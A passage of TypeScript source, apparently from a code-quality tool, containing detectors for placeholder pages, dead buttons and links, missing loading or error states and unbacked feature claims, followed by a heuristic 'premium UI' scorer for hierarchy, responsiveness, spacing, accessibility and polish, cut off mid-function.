ranges.some(([open, close]) => index > open && index < close);\n}\n\n// --- detectors --------------------------------------------------------------\n\n/** Page files that render nothing or only a placeholder/TODO stub. */\nfunction detectPlaceholderPages(\n graph: ProjectGraph,\n contents: ReadonlyMap<string, string>,\n): ProductFinding[] {\n const findings: ProductFinding[] = [];\n for (const node of graph.files) {\n if (node.kind !== 'page') continue;\n const content = contents.get(node.path);\n if (content === undefined) continue;\n\n const tags = scanOpeningTags(content);\n const text = renderedText(content, tags);\n\n let reason: string | undefined;\n if (tags.length === 0) {\n reason = 'renders no elements (returns null / an empty fragment)';\n } else if (STRONG_PLACEHOLDER_RE.test(text)) {\n reason = 'renders placeholder copy (e.g. \"Coming soon\" / \"Lorem ipsum\")';\n } else if (TODO_TEXT_RE.test(text)) {\n reason = 'renders a TODO/FIXME/WIP stub instead of real content';\n }\n\n if (reason !== undefined) {\n findings.push({ where: node.path, detail: `placeholder page — ${reason}` });\n }\n }\n return findings;\n}\n\n/** `<button>` elements with no click/submit affordance and no enclosing `<form>`. */\nfunction detectFakeButtons(\n graph: ProjectGraph,\n contents: ReadonlyMap<string, string>,\n): ProductFinding[] {\n const findings: ProductFinding[] = [];\n for (const node of graph.files) {\n const content = contents.get(node.path);\n if (content === undefined) continue;\n\n const forms = formRanges(content);\n for (const el of scanOpeningTags(content)) {\n if (el.tag.toLowerCase() !== 'button') continue;\n // A button is \"real\" via an on* handler, a submit/reset type, a formAction\n // server action, an enclosing <form>, or an intentional `disabled` state.\n if (ONCLICK_RE.test(el.attrs)) continue;\n if (TYPE_SUBMIT_RE.test(el.attrs)) continue;\n if (FORM_ACTION_RE.test(el.attrs)) continue;\n if (DISABLED_RE.test(el.attrs)) continue;\n if (isInsideForm(el.index, forms)) continue;\n\n findings.push({\n where: node.path,\n line: lineOf(content, el.index),\n detail:\n '<button> has no onClick handler, no type=\"submit\", and is not inside a <form>; it does nothing when clicked',\n });\n }\n }\n return findings;\n}\n\n/** `<a href>` links pointing at \"#\", \"\", or a `javascript:` URL. */\nfunction detectDeadLinks(\n graph: ProjectGraph,\n contents: ReadonlyMap<string, string>,\n): ProductFinding[] {\n const findings: ProductFinding[] = [];\n for (const node of graph.files) {\n const content = contents.get(node.path);\n if (content === undefined) continue;\n\n for (const el of scanOpeningTags(content)) {\n if (el.tag.toLowerCase() !== 'a') continue;\n const hrefMatch = HREF_LITERAL_RE.exec(el.attrs);\n const href = hrefMatch?.[2];\n if (href === undefined) continue; // no literal href (missing or `{…}` dynamic): not judged here\n const value = href.trim();\n if (value === '' || value === '#' || /^javascript:/i.test(value)) {\n const shown = value === '' ? '\"\"' : value;\n findings.push({\n where: node.path,\n line: lineOf(content, el.index),\n detail: `<a> has a dead href (${shown}); point it at a real route or use a <button> for actions`,\n });\n }\n }\n }\n return findings;\n}\n\n/**\n * Light check: a client-side data page that handles neither a loading nor an\n * error state. Deliberately lighter than the UI gate's data-states check (which\n * requires all three of loading/empty/error) — the product gate only flags a\n * data page that shows the user nothing at all while data loads or fails.\n */\nfunction detectMissingStates(\n graph: ProjectGraph,\n contents: ReadonlyMap<string, string>,\n): ProductFinding[] {\n const findings: ProductFinding[] = [];\n for (const node of graph.files) {\n if (node.kind !== 'page') continue;\n const content = contents.get(node.path);\n if (content === undefined) continue;\n\n const usesClientHook = CLIENT_DATA_HOOK_RE.test(content);\n const fetchesInClient = USE_CLIENT_RE.test(content) && RAW_FETCH_RE.test(content);\n if (!usesClientHook && !fetchesInClient) continue;\n\n if (!LOADING_RE.test(content) && !ERROR_RE.test(content)) {\n findings.push({\n where: node.path,\n detail:\n 'data page fetches on the client but renders neither a loading nor an error state; the user sees a blank screen while it loads or fails',\n });\n }\n }\n return findings;\n}\n\n// --- acceptance criteria (FeatureLedger) ------------------------------------\n\n/** Findings for features that claim to exist but are not backed by met criteria + evidence. */\nfunction featureFindings(features: readonly FeatureRecord[]): ProductFinding[] {\n const findings: ProductFinding[] = [];\n for (const feature of features) {\n if (!isRecord(feature) || !CLAIMED_STATUSES.has(feature.status)) continue;\n\n const evidence = Array.isArray(feature.evidence) ? feature.evidence : [];\n const criteria = Array.isArray(feature.acceptanceCriteria) ? feature.acceptanceCriteria : [];\n\n const reasons: string[] = [];\n if (evidence.length === 0) {\n reasons.push('no backing evidence');\n } else {\n const verified = evidence.filter((ref) => isRecord(ref) && ref.status === 'verified').length;\n const refuted = evidence.filter((ref) => isRecord(ref) && ref.status === 'refuted').length;\n if (refuted > 0) reasons.push(`${refuted} refuted evidence item(s)`);\n if (criteria.length > 0 && verified === 0) {\n reasons.push(`${criteria.length} acceptance criteria with no verified evidence`);\n }\n }\n\n if (reasons.length > 0) {\n findings.push({\n where: `feature \"${feature.feature}\"`,\n detail: `${feature.status} feature — ${reasons.join('; ')}`,\n });\n }\n }\n return findings;\n}\n\n/**\n * Build the acceptance-criteria check from the FeatureLedger. When the ledger\n * reads cleanly this is a required/blocking check; if the ledger cannot be read\n * (corruption, permissions) it degrades to a soft, non-blocking advisory rather\n * than crashing the whole gate — mirroring the security gate's advisory audit.\n */\nasync function buildAcceptanceCriteriaCheck(root: string): Promise<RichCheck> {\n const name = 'acceptance-criteria';\n try {\n const features = await new FeatureLedger(root).all();\n return buildCategory(name, 'unmet acceptance criteria', featureFindings(features), true);\n } catch (err) {\n const reason = err instanceof Error ? err.message : String(err);\n const detail = `Feature ledger could not be read (${reason}); acceptance-criteria check skipped (advisory).`;\n const evidence = makeEvidence({\n claim: 'Feature acceptance criteria',\n status: 'unverified',\n kind: 'file',\n detail,\n });\n return { required: false, evidence, check: { name, passed: true, detail, evidenceId: evidence.id } };\n }\n}\n\n// --- public entrypoint ------------------------------------------------------\n\n/**\n * Run the deep product gate against `root`. Returns the `GateResult` (whose\n * `passed` reflects only the required heuristic checks) plus every collected\n * `EvidenceItem`. Findings are `CheckResult`s, never exceptions; `GateError` is\n * thrown only on invalid input or an internal failure.\n *\n * @param root absolute repo root the graph was scanned from.\n * @param graph the project graph (from `scanProject`/`loadGraph`).\n * @param config the workspace config.\n */\nexport async function runProductGate(\n root: string,\n graph: ProjectGraph,\n config: CortexConfig,\n): Promise<{ result: GateResult; evidence: EvidenceItem[] }> {\n assertGateInputs(root, graph, config);\n const absRoot = path.resolve(root);\n\n try {\n const contents = await readUiSources(absRoot, graph);\n\n const rich: RichCheck[] = [\n buildCategory('placeholder-pages', 'placeholder page', detectPlaceholderPages(graph, contents), true),\n buildCategory('fake-buttons', 'non-functional button', detectFakeButtons(graph, contents), true),\n buildCategory('dead-links', 'dead link', detectDeadLinks(graph, contents), true),\n buildCategory('missing-states', 'data page with no loading/error state', detectMissingStates(graph, contents), true),\n await buildAcceptanceCriteriaCheck(absRoot),\n ];\n\n const passed = rich.every((entry) => !entry.required || entry.check.passed);\n\n const result: GateResult = {\n gate: GATE_NAME,\n passed,\n checks: rich.map((entry) => entry.check),\n };\n return { result, evidence: rich.map((entry) => entry.evidence) };\n } catch (err) {\n if (err instanceof GateError) throw err;\n throw new GateError(`Product gate failed at ${absRoot}`, { cause: err });\n }\n}\n","/**\n * Premium-UI gate (§7.13) — the highest-bar visual gate, layered above the\n * required `ui` gate. Where `runUiGate` returns pass/fail `CheckResult`s, this\n * gate derives a COMPUTED, non-persisted `UiQualityScore` (0-100 per dimension +\n * a weighted `overall` + ordered `topFixes`), exactly like the `CouncilReport` /\n * `BlastRadius` computed artifacts. Every score is a DETERMINISTIC, TOKENLESS\n * heuristic over the `ProjectGraph` and real file reads (no LLM).\n *\n * The five scored dimensions (each 0-100, higher is better):\n * visualHierarchy heading presence + level order (no skips, single <h1>)\n * and a varied type scale that establishes focal emphasis\n * mobileResponsiveness responsive-breakpoint / media-query coverage across the\n * layout files that need it, penalising fixed-px widths\n * spacingConsistency share of spacing utilities on the design scale (p-4,\n * gap-6) versus arbitrary `[13px]` one-off values\n * accessibility alt / label / aria / role coverage across the elements\n * that require them\n * premiumFeel polish signals (shadow, radius, transition, hover/focus,\n * gradient/ring/blur, refined typography) minus\n * default-looking patterns (inline hex colours, unstyled\n * buttons, native alert()/confirm() dialogs)\n *\n * `overall` is the weighted mean; `topFixes` are the highest-leverage, most\n * actionable improvements, ordered most-impactful (lowest-scoring) first.\n *\n * File reads are fail-safe: an unreadable file is skipped rather than aborting\n * the gate (degrade-don't-crash). A `GateError` is thrown only on invalid input\n * or an internal failure — never on a detected quality issue.\n *\n * Public API:\n * runPremiumUiGate(root, graph): Promise<UiQualityScore>\n */\n\nimport { readFile } from 'node:fs/promises';\nimport * as path from 'node:path';\n\nimport { GateError } from '../domain/index';\nimport type { FileNode, GateFamily, ProjectGraph, UiQualityScore } from '../domain/index';\n\n// --- constants --------------------------------------------------------------\n\n/** Binds this gate to the Contract taxonomy without a runtime import. */\nconst GATE_FAMILY = 'premium-ui' satisfies GateFamily;\n\n/** Page/component source files that carry JSX + Tailwind classes. */\nconst UI_FILE_RE = /\\.[jt]sx$/;\n\n/** A fixed pixel width at or above this is treated as a non-responsive container. */\nconst FIXED_WIDTH_MIN_PX = 200;\n\n/** A dimension scoring below this contributes actionable items to `topFixes`. */\nconst FIX_THRESHOLD = 80;\n\n/** Cap on the number of `topFixes` surfaced, so one weak surface can't flood them. */\nconst MAX_TOP_FIXES = 8;\n\n/** Cap on offending files enumerated inside a single fix string. */\nconst MAX_FILES_LISTED = 3;\n\n/**\n * Dimension weights for the `overall` mean. Accessibility and responsiveness are\n * weighted highest (they gate real usability); the set sums to exactly 1.0.\n */\nconst WEIGHTS = {\n visualHierarchy: 0.2,\n mobileResponsiveness: 0.25,\n spacingConsistency: 0.15,\n accessibility: 0.25,\n premiumFeel: 0.15,\n} as const;\n\n// --- Tailwind / JSX heuristic patterns --------------------------------------\n\n/** Tailwind responsive breakpoint prefix (e.g. `md:flex`, `lg:w-1/2`). */\nconst RESPONSIVE_TAILWIND_RE = /(?:^|[\\s\"'`{])(?:sm|md|lg|xl|2xl):[\\w[-]/;\n/** CSS media queries / JS responsive affordances. */\nconst RESPONSIVE_MEDIA_RE = /@media\\b|useMediaQuery|matchMedia|<picture[\\s>]|srcSet|\\bsizes=/;\n/** Layout containers that ought to adapt across viewports. */\nconst LAYOUT_CLASS_RE =\n /\\bflex\\b|\\bgrid\\b|\\bcontainer\\b|\\bmax-w-|\\bmin-h-screen\\b|\\bw-screen\\b|\\bw-full\\b|\\bcolumns-/;\n\n/** Tailwind arbitrary width `w-[640px]`. */\nconst TW_FIXED_W_RE = /\\bw-\\[(\\d+)px\\]/g;\n/** Quoted / CSS pixel width `width: 640px`, `maxWidth: \"300px\"`. */\nconst CSS_PX_W_RE = /\\b(?:width|min-width|max-width|minWidth|maxWidth)\\s*:\\s*['\"]?(\\d+)px/gi;\n/** Bare React style-object width `width: 640` (React interprets a number as px). */\nconst JS_NUM_W_RE = /\\b(?:width|minWidth|maxWidth)\\s*:\\s*(\\d+)\\s*(?:[,}]|$)/g;\n\n/** Standard spacing utilities on the Tailwind scale (`p-4`, `gap-6`, `space-y-2`, `-mt-1`). */\nconst STD_SPACING_RE =\n /\\b(?:p[xytrbl]?|m[xytrbl]?|gap(?:-[xy])?|space-[xy])-(?:\\d+(?:\\.5)?|px|auto)\\b/g;\n/** Arbitrary one-off spacing values (`p-[13px]`, `gap-[7px]`) that bypass the scale. */\nconst ARB_SPACING_RE = /\\b(?:p[xytrbl]?|m[xytrbl]?|gap(?:-[xy])?|space-[xy])-\\[[^\\]]+\\]/g;\n\n/** Typographic size scale utilities. */\nconst TEXT_SIZE_RE = /\\btext-(?:xs|sm|base|lg|xl|2xl|3xl|4xl|5xl|6xl|7xl|8xl|9xl)\\b/g;\n/** Font-weight utilities. */\nconst FONT_WEIGHT_RE =\n /\\bfont-(?:thin|extralight|light|normal|medium|semibold|bold|extrabold|black)\\b/g;\n\n/** Premium polish signals (non-global — used for surface-level presence tests). */\nconst SHADOW_RE = /\\bshadow(?:-(?:sm|md|lg|xl|2xl|inner|none))?\\b/;\nconst RADIUS_RE = /\\brounded(?:-(?:none|sm|md|lg|xl|2xl|3xl|full))?\\b/;\nconst MOTION_RE = /\\b(?:transition|duration-\\d|ease-(?:in|out|linear|in-out)|animate-)/;\nconst HOVER_FOCUS_RE = /\\b(?:hover|focus|focus-visible|active|group-hover):/;\nconst ACCENT_RE = /\\b(?:ring(?:-\\d)?|bg-gradient-to-[trbl]{1,2}|backdrop-blur)\\b/;\nconst REFINED_TYPE_RE = /\\b(?:tracking-(?:tighter|tight|normal|wide|wider|widest)|leading-|font-\\[)/;\n\n/** Default-looking anti-patterns. */\nconst INLINE_HEX_RE = /style\\s*=\\s*\\{\\{[^}]*#[0-9a-fA-F]{3,8}\\b/;\nconst NATIVE_DIALOG_RE = /\\b(?:window\\.)?(?:alert|confirm|prompt)\\s*\\(/;\n\n/** Accessibility helpers. */\nconst ARIA_LABEL_RE = /\\b(?:aria-label|aria-labelledby|title)\\b/;\nconst ONCLICK_RE = /\\bonClick\\b/;\nconst ROLE_RE = /\\brole\\s*=/;\nconst ALT_RE = /\\balt\\s*=/;\nconst CLASSNAME_RE = /\\b(?:className|class)\\s*=/;\n\n/** Non-interactive tags that must not be the sole click target without a role. */\nconst NON_INTERACTIVE_TAGS: ReadonlySet<string> = new Set([\n 'div',\n 'span',\n 'li',\n 'p',\n 'section',\n 'article',\n 'header',\n 'footer',\n 'nav',\n 'aside',\n 'main',\n 'ul',\n 'ol',\n 'td',\n 'tr',\n]);\n\n// --- internal shapes --------------------------------------------------------\n\ninterface DimensionScore {\n score: number;\n /** actionable, human-readable improvements this dimension surfaced */\n issues: string[];\n}\n\ninterface OpenTag {\n /** raw tag name (e.g. `div`, `img`, `MyComponent`) */\n tag: string;\n /** the raw attribute text between the tag name and the closing `>` */\n attrs: string;\n /** index of the opening `<` */\n index: number;\n /** index just past the closing `>` (start of the element body) */\n bodyStart: number;\n selfClosing: boolean;\n}\n\n// --- guards -----------------------------------------------------------------\n\nfunction isRecord(value: unknown): value is Record<string, unknown> {\n return value !== null && typeof value === 'object' && !Array.isArray(value);\n}\n\nfunction assertGateInputs(root: string, graph: ProjectGraph): void {\n if (typeof root !== 'string' || root.length === 0) {\n throw new GateError('Premium-UI gate requires a non-empty repository root path.');\n }\n if (!isRecord(graph) || !Array.isArray(graph.files)) {\n throw new GateError('Premium-UI gate requires a valid ProjectGraph (with a files array).');\n }\n}\n\n// --- scoring helpers --------------------------------------------------------\n\n/** Clamp and round any raw score into the inclusive 0-100 range. */\nfunction clampScore(raw: number): number {\n if (!Number.isFinite(raw)) return 0;\n return Math.max(0, Math.min(100, Math.round(raw)));\n}\n\n/** Count non-overlapping matches of a global pattern in `content` (lastIndex-safe). */\nfunction countMatches(content: string, re: RegExp): number {\n return content.match(re)?.length ?? 0;\n}\n\n/** Truncated, comma-joined list of files for a fix string. */\nfunction joinFiles(files: readonly string[]): string {\n const unique = [...new Set(files)];\n const shown = unique.slice(0, MAX_FILES_LISTED).join(', ');\n const extra = unique.length > MAX_FILES_LISTED ? ` (+${unique.length - MAX_FILES_LISTED} more)` : '';\n return `${shown}${extra}`;\n}\n\n// --- file scanning ----------------------------------------------------------\n\nfunction basenameOf(rel: string): string {\n const normalized = rel.replace(/\\\\/g, '/');\n const idx = normalized.lastIndexOf('/');\n return idx === -1 ? normalized : normalized.slice(idx + 1);\n}\n\nfunction isUiFile(rel: string): boolean {\n const base = basenameOf(rel).toLowerCase();\n if (base.endsWith('.test.tsx') || base.endsWith('.test.jsx')) return false;\n if (base.endsWith('.stories.tsx') || base.endsWith('.stories.jsx')) return false;\n return UI_FILE_RE.test(base);\n}\n\n/**\n * Read every UI source file in the graph once, in parallel. Unreadable files are\n * silently skipped (fail-safe) so one permission error never fails the gate.\n */\nasync function readUiSources(absRoot: string, graph: ProjectGraph): Promise<Map<string, string>> {\n const contents = new Map<string, string>();\n const targets = graph.files.filter(\n (node): node is FileNode =>\n isRecord(node) && typeof node.path === 'string' && isUiFile(node.path),\n );\n await Promise.all(\n targets.map(async (node) => {\n try {\n contents.set(node.path, await readFile(path.join(absRoot, node.path), 'utf8'));\n } catch {\n // Unreadable file: skip it. This gate simply has nothing to say about it.\n }\n }),\n );\n return contents;\n}\n\n/**\n * Extract JSX opening tags with their raw attributes. The scanner is brace- and\n * quote-aware: a `>` inside a `{ () => expr }` handler, a `\"a > b\"` string, or a\n * `` `${…}` `` template does not prematurely close the tag — a naive\n * `<tag[^>]*>` regex would mis-parse every arrow function.\n */\nfunction scanOpeningTags(content: string): OpenTag[] {\n const tags: OpenTag[] = [];\n const start = /<([A-Za-z][\\w.-]*)/g;\n let match: RegExpExecArray | null;\n while ((match = start.exec(content)) !== null) {\n const tag = match[1];\n if (tag === undefined) continue;\n\n let i = start.lastIndex;\n let depth = 0;\n let quote = '';\n let close = -1;\n while (i < content.length) {\n const ch = content[i];\n if (ch === undefined) break;\n if (quote !== '') {\n if (ch === quote) quote = '';\n } else if (ch === '\"' || ch === \"'\" || ch === '`') {\n quote = ch;\n } else if (ch === '{') {\n depth += 1;\n } else if (ch === '}') {\n if (depth > 0) depth -= 1;\n } else if (ch === '>' && depth === 0) {\n close = i;\n break;\n }\n i += 1;\n }\n if (close === -1) break; // unterminated tag: nothing more to scan reliably\n\n const attrs = content.slice(start.lastIndex, close);\n tags.push({\n tag,\n attrs,\n index: match.index,\n bodyStart: close + 1,\n selfClosing: attrs.trimEnd().endsWith('/'),\n });\n start.lastIndex = close + 1;\n }\n return tags;\n}\n\n/** Remove all `{ … }` expressions (brace-aware) from a fragment of JSX body. */\nfunction stripBraceExpressions(body: string): string {\n let out = '';\n let depth = 0;\n for (let i = 0; i < body.length; i += 1) {\n const ch = body[i];\n if (ch === '{') depth += 1;\n else if (ch === '}') {\n if (depth > 0) depth -= 1;\n } else if (depth === 0 && ch !== undefined) {\n out += ch;\n }\n }\n return out;\n}\n\n/** The visible text of an element body once child tags and `{…}` are removed. */\nfunction visibleText(body: string): string {\n return stripBraceExpressions(body)\n .replace(/<[^>]*>/g, '')\n .replace(/\\s+/g, '');\n}\n\nfunction inputHasLabel(attrs: string, content: string): boolean {\n if (/\\b(?:aria-label|aria-labelledby)\\b/.test(attrs)) return true;\n const typeMatch = /\\btype\\s*=\\s*['\"]([a-z]+)['\"]/i.exec(attrs);\n const type = typeMatch?.[1]?.toLowerCase();\n if (type !== undefined && ['hidden', 'submit', 'button', 'reset', 'image'].includes(type)) {\n return true;\n }\n const idMatch = /\\bid\\s*=\\s*['\"]([^'\"]+)['\"]/.exec(attrs);\n const id = idMatch?.[1];\n if (id !== undefined) {\n if (content.includes(`htmlFor=\"${id}\"`) || content.includes(`htmlFor='${id}'`)) return true;\n if (content.includes(`for=\"${id}\"`) || content.includes(`for='${id}'`)) return true;\n }\n return false;\n}\n\n/** Whether a `<button>`/`<a>` is provably lacking accessible text (icon-only). */\nfunction controlIsUnlabeled(el: OpenTag, content: string): boolean {\n if (ARIA_LABEL_RE.test(el.attrs)) return false;\n if (el.selfClosing) return false;\n const bodyEnd = content.indexOf(`</${el.tag}>`, el.bodyStart);\n const body = bodyEnd === -1 ? content.slice(el.bodyStart) : content.slice(el.bodyStart, bodyEnd);\n // A `{…}` body may render text at runtime — stay conservative and only flag an\n // element that is provably text-free.\n return !body.includes('{') && visibleText(body).length === 0;\n}\n\n// --- dimension scorers ------------------------------------------------------\n\n/**\n * Heading presence + order across page-like files, plus focal emphasis from a\n * varied type scale. Penalises pages with no heading, multiple `<h1>`, skipped\n * heading levels, and a flat (single-size, single-weight) type scale.\n */\nfunction scoreVisualHierarchy(\n graph: ProjectGraph,\n contents: ReadonlyMap<string, string>,\n): DimensionScore {\n const noHeadingPages: string[] = [];\n const multipleH1: string[] = [];\n const skippedLevels: string[] = [];\n const sizes = new Set<string>();\n const weights = new Set<string>();\n\n for (const node of graph.files) {\n const content = contents.get(node.path);\n if (content === undefined) continue;\n\n for (const m of content.match(TEXT_SIZE_RE) ?? []) sizes.add(m);\n for (const m of content.match(FONT_WEIGHT_RE) ?? []) weights.add(m);\n\n const levels: number[] = [];\n let h1Count = 0;\n for (const el of scanOpeningTags(content)) {\n const hm = /^h([1-6])$/i.exec(el.tag);\n if (hm?.[1] === undefined) continue;\n const level = Number.parseInt(hm[1], 10);\n levels.push(level);\n if (level === 1) h1Count += 1;\n }\n\n const isPage = node.kind === 'page' || node.kind === 'route';\n if (isPage && levels.length === 0) noHeadingPages.push(node.path);\n if (h1Count > 1) multipleH1.push(node.path);\n\n let prev = 0;\n let skipped = false;\n for (const level of levels) {\n if (prev !== 0 && level > prev + 1) skipped = true;\n prev = level;\n }\n if (skipped) skippedLevels.push(node.path);\n }\n\n const hasHeadings = graph.files.some((n) => {\n const c = contents.get(n.path);\n return c !== undefined && /<h[1-6][\\s/>]/i.test(c);\n });\n // A flat type scale only matters on a surface with real content to structure.\n const flatTypeScale = hasHeadings && sizes.size <= 1 && weights.size <= 1;\n\n let score = 100;\n score -= noHeadingPages.length * 25;\n score -= multipleH1.length * 15;\n score -= skippedLevels.length * 12;\n if (flatTypeScale) score -= 15;\n\n const issues: string[] = [];\n if (noHeadingPages.length > 0) {\n issues.push(\n `Add a clear heading hierarchy (an <h1>, then ordered <h2>/<h3>) to page(s) ${joinFiles(noHeadingPages)}.`,\n );\n }\n if (multipleH1.length > 0) {\n issues.push(\n `Use a single top-level <h1> per view; ${joinFiles(multipleH1)} declare more than one.`,\n );\n }\n if (skippedLevels.length > 0) {\n issues.push(\n `Don't skip heading levels (e.g. <h1> → <h3>) in ${joinFiles(skippedLevels)}; step down one level at a time.`,\n );\n }\n if (flatTypeScale) {\n issues.push(\n 'Establish focal emphasis with a varied type scale — combine distinct text sizes and font weights instead of one flat size.',\n );\n }\n\n return { score: clampScore(score), issues };\n}\n\n/**\n * Responsive-breakpoint / media-query coverage across the files that lay out\n * content, penalised by fixed-px container widths that cannot adapt.\n */\nfunction scoreMobileResponsiveness(\n graph: ProjectGraph,\n contents: ReadonlyMap<string, string>,\n): DimensionScore {\n let needy = 0;\n const nonResponsive: string[] = [];\n const fixedWidth: string[] = [];\n\n for (const node of graph.files) {\n const content = contents.get(node.path);\n if (content === undefined) continue;\n\n const isLayout =\n node.kind === 'page' || node.kind === 'route' || LAYOUT_CLASS_RE.test(content);\n if (isLayout) {\n needy += 1;\n const isResponsive =\n RESPONSIVE_TAILWIND_RE.test(content) || RESPONSIVE_MEDIA_RE.test(content);\n if (!isResponsive) nonResponsive.push(node.path);\n }\n\n for (const re of [TW_FIXED_W_RE, CSS_PX_W_RE, JS_NUM_W_RE]) {\n re.lastIndex = 0;\n let m: RegExpExecArray | null;\n let hit = false;\n while (!hit && (m = re.exec(content)) !== null) {\n const raw = m[1];\n if (raw === undefined) continue;\n const px = Number.parseInt(raw, 10);\n if (Number.isFinite(px) && px >= FIXED_WIDTH_MIN_PX) {\n fixedWidth.push(node.path);\n hit = true;\n }\n }\n }\n }\n\n // Nothing needs responsive handling → the surface can't be wrong here.\n const coverage = needy > 0 ? (needy - nonResponsive.length) / needy : 1;\n let score = 100 * coverage;\n score -= fixedWidth.length * 15;\n\n const issues: string[] = [];\n if (nonResponsive.length > 0) {\n issues.push(\n `Add responsive breakpoints (sm:/md:/lg:) or a media query to layout(s) ${joinFiles(nonResponsive)} so they adapt to small viewports.`,\n );\n }\n if (fixedWidth.length > 0) {\n issues.push(\n `Replace fixed pixel widths with fluid or max-width units in ${joinFiles(fixedWidth)}.`,\n );\n }\n\n return { score: clampScore(score), issues };\n}\n\n/**\n * Share of spacing utilities that sit on the Tailwind design scale versus\n * arbitrary `[13px]` one-offs. A surface with no spacing utilities has no\n * inconsistency to report and scores full marks.\n */\nfunction scoreSpacingConsistency(\n graph: ProjectGraph,\n contents: ReadonlyMap<string, string>,\n): DimensionScore {\n let standard = 0;\n let arbitrary = 0;\n const offenders: string[] = [];\n\n for (const node of graph.files) {\n const content = contents.get(node.path);\n if (content === undefined) continue;\n standard += countMatches(content, STD_SPACING_RE);\n const arb = countMatches(content, ARB_SPACING_RE);\n arbitrary += arb;\n if (arb > 0) offenders.push(node.path);\n }\n\n const total = standard + arbitrary;\n const score = total === 0 ? 100 : (100 * standard) / total;\n\n const issues: string[] = [];\n if (arbitrary > 0) {\n issues.push(\n `Replace ${arbitrary} arbitrary spacing value(s) (e.g. p-[13px]) with design-scale tokens (p-3, gap-4) in ${joinFiles(offenders)}.`,\n );\n }\n\n return { score: clampScore(score), issues };\n}\n\n/**\n * Alt / label / aria / role coverage across the elements that require them:\n * `<img>` alt text, labeled form controls, accessible button/anchor text, and a\n * semantic role on clickable non-interactive elements.\n */\nfunction scoreAccessibility(\n graph: ProjectGraph,\n contents: ReadonlyMap<string, string>,\n): DimensionScore {\n let total = 0;\n let good = 0;\n const missingAlt: string[] = [];\n const unlabeledInput: string[] = [];\n const unlabeledControl: string[] = [];\n const clickableNoRole: string[] = [];\n\n for (const node of graph.files) {\n const content = contents.get(node.path);\n if (content === undefined) continue;\n\n for (const el of scanOpeningTags(content)) {\n const lower = el.tag.toLowerCase();\n\n if (lower === 'img') {\n total += 1;\n if (ALT_RE.test(el.attrs)) good += 1;\n else missingAlt.push(node.path);\n continue;\n }\n\n if (lower === 'input' || lower === 'select' || lower === 'textarea') {\n total += 1;\n if (inputHasLabel(el.attrs, content)) good += 1;\n else unlabeledInput.push(node.path);\n continue;\n }\n\n if (lower === 'button' || lower === 'a') {\n total += 1;\n if (!controlIsUnlabeled(el, content)) good += 1;\n else unlabeledControl.push(node.path);\n continue;\n }\n\n if (NON_INTERACTIVE_TAGS.has(lower) && ONCLICK_RE.test(el.attrs)) {\n total += 1;\n if (ROLE_RE.test(el.attrs)) good += 1;\n else clickableNoRole.push(node.path);\n }\n }\n }\n\n const coverage = total > 0 ? good / total : 1;\n const score = 100 * coverage;\n\n const issues: string[] = [];\n if (missingAlt.length > 0) {\n issues.push(\n `Add alt text to <img> elements (alt=\"\" if decorative) in ${joinFiles(missingAlt)}.`,\n );\n }\n if (unlabeledInput.length > 0) {\n issues.push(\n `Associate a label (htmlFor, aria-label, or aria-labelledby) with form control(s) in ${joinFiles(unlabeledInput)}.`,\n );\n }\n if (unlabeledControl.length > 0) {\n issues.push(\n `Give icon-only button/anchor controls an accessible name (aria-label) in ${joinFiles(unlabeledControl)}.`,\n );\n }\n if (clickableNoRole.length > 0) {\n issues.push(\n `Use a <button>, or add role + tabIndex + a key handler, to clickable non-interactive elements in ${joinFiles(clickableNoRole)}.`,\n );\n }\n\n return { score: clampScore(score), issues };\n}\n\n/**\n * Polish signals that separate premium from generic UI (shadow, radius, motion,\n * hover/focus states, accent depth, refined typography) minus default-looking\n * patterns (inline hex colours, unstyled buttons, native alert/confirm dialogs).\n */\nfunction scorePremiumFeel(\n graph: ProjectGraph,\n contents: ReadonlyMap<string, string>,\n): DimensionScore {\n let hasShadow = false;\n let hasRadius = false;\n let hasMotion = false;\n let hasHoverFocus = false;\n let hasAccent = false;\n let hasRefinedType = false;\n\n const inlineHexFiles: string[] = [];\n const nativeDialogFiles: string[] = [];\n const unstyledButtonFiles: string[] = [];\n\n for (const node of graph.files) {\n const content = contents.get(node.path);\n if (content === undefined) continue;\n\n if (SHADOW_RE.test(content)) hasShadow = true;\n if (RADIUS_RE.test(content)) hasRadius = true;\n if (MOTION_RE.test(content)) hasMotion = true;\n if (HOVER_FOCUS_RE.test(content)) hasHoverFocus = true;\n if (ACCENT_RE.test(content)) hasAccent = true;\n if (REFINED_TYPE_RE.test(content)) hasRefinedType = true;\n\n if (INLINE_HEX_RE.test(content)) inlineHexFiles.push(node.path);\n if (NATIVE_DIALOG_RE.test(content)) nativeDialogFiles.push(node.path);\n\n for (const el of scanOpeningTags(content)) {\n if (el.tag.toLowerCase() === 'button' && !CLASSNAME_RE.test(el.attrs)) {\n unstyledButtonFiles.push(node.path);\n break; // one unstyled-button finding per file is enough\n }\n }\n }\n\n // Neutral baseline plus additive credit for each polish signal category.\n let score = 55;\n if (hasShadow) score += 10;\n if (hasRadius) score += 12;\n if (hasMotion) score += 8;\n if (hasHoverFocus) score += 10;\n if (hasAccent) score += 8;\n if (hasRefinedType) score += 7;\n\n score -= inlineHexFiles.length * 10;\n score -= unstyledButtonFiles.length * 8;\n score -= nativeDialogFiles.length * 8;\n\n const issues: string[] = [];\n if (!hasRadius && !hasShadow) {\n issues.push(\n 'Add depth with rounded corners and shadows (rounded-lg, shadow-md) — flat, borderless surfaces read as generic.',\n );\n }\n if (!hasHoverFocus) {\n issues.push('Add interactive hover/focus states (hover:, focus-visible:) to controls.');\n }\n if (!hasMotion) {\n issues.push('Add subtle motion (transition, duration-, ease-) so state changes feel intentional.');\n }\n if (inlineHexFiles.length > 0) {\n issues.push(\n `Replace inline hex colours with theme tokens/utilities in ${joinFiles(inlineHexFiles)}.`,\n );\n }\n if (unstyledButtonFiles.length > 0) {\n issues.push(\n `Style the default browser buttons in ${joinFiles(unstyledButtonFiles)} instead of shipping unstyled controls.`,\n );\n }\n if (nativeDialogFiles.length > 0) {\n issues.push(\n `Replace native alert()/confirm()/prompt() dialogs with in-app UI in ${joinFiles(nativeDialogFiles)}.`,\n );\n }\n\n return { score: clampScore(score), issues };\n}\n\n// --- topFixes ---------------------------------------------------------------\n\n/**\n * Assemble `topFixes` from the lowest-scoring dimensions first. A dimension only\n * contributes when it scores below `FIX_THRESHOLD`; a low dimension with no\n * specific issue still yields a generic, actionable improvement so the caller\n * always gets guidance. The list is deduped and capped.\n */\nfunction buildTopFixes(\n dims: ReadonlyArray<{ label: string; score: number; issues: string[] }>,\n): string[] {\n const ordered = [...dims].sort((a, b) => a.score - b.score);\n const fixes: string[] = [];\n\n for (const dim of ordered) {\n if (dim.score >= FIX_THRESHOLD) 